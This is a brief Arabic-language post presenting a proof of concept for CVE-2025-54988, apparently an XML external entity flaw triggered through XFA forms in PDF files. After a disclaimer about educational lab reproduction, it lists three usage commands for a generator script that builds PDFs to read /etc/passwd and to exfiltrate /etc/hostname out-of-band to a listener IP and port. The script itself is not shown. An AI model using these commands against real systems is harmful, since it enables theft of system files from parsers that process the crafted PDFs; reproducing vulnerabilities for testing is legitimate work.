CVE-2025-54988 - POC

إخلاء المسؤولية: لست المكتشف الأصلي لهذه الثغرة. توثق هذه المشاركة عمليتي في إعادة إنتاج المشكلة في بيئة معزولة لأغراض تعليمية ولمساعدة الآخرين على التحقق من أنظمتهم الخاصة. تم إجراء الاختبارات في مختبر معزول دون أي تأثير على أنظمة الإنتاج.

الاستخدام:

python3 xfa_xxe_poc_gen.py --mode file --file /etc/passwd -o xfa_passwd.pdf
python3 xfa_xxe_poc_gen.py --mode oob --ip 127.0.0.1 --port 8888 --write-dtd -o xfa_oob.pdf
python3 xfa_xxe_poc_gen.py --mode oob --ip 10.10.14.3 --port 8080 --oob-file /etc/hostname --param d